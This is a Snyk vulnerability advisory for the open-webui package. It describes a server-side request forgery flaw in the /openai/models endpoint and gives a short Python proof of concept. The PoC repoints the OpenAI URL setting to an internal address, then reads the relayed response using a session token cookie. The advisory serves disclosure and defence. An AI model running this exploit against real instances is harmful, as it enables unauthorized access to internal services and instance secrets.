Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for open-webui
.
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the /openai/models
endpoint. An attacker can manipulate the OpenAI URL to any destination without validation, enabling the endpoint to initiate requests to the specified URL and relay the response. This vulnerability permits unauthorized access to internal services and could potentially allow command execution by accessing instance secrets.
import requests
cookies = {
'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijk3ZjBmZmYxLTExZDgtNDRmYS04YzM0LTdhZTRmOGIxZjg3OCJ9.1m79MCRwHM25ThaN4j6YZArdXc9YOQ8SUJyAsPVStFk',
}
headers = {
'Content-Type': 'application/json',
'Accept': 'application/json',
}
json_data = {
"urls": ["http://localhost:8888/poc?"]
}
response = requests.post('http://localhost:3000/openai/urls/update', cookies=cookies, headers=headers, json=json_data)
response = requests.get('http://localhost:3000/openai/models/0', cookies=cookies, headers=headers)
print(response.text)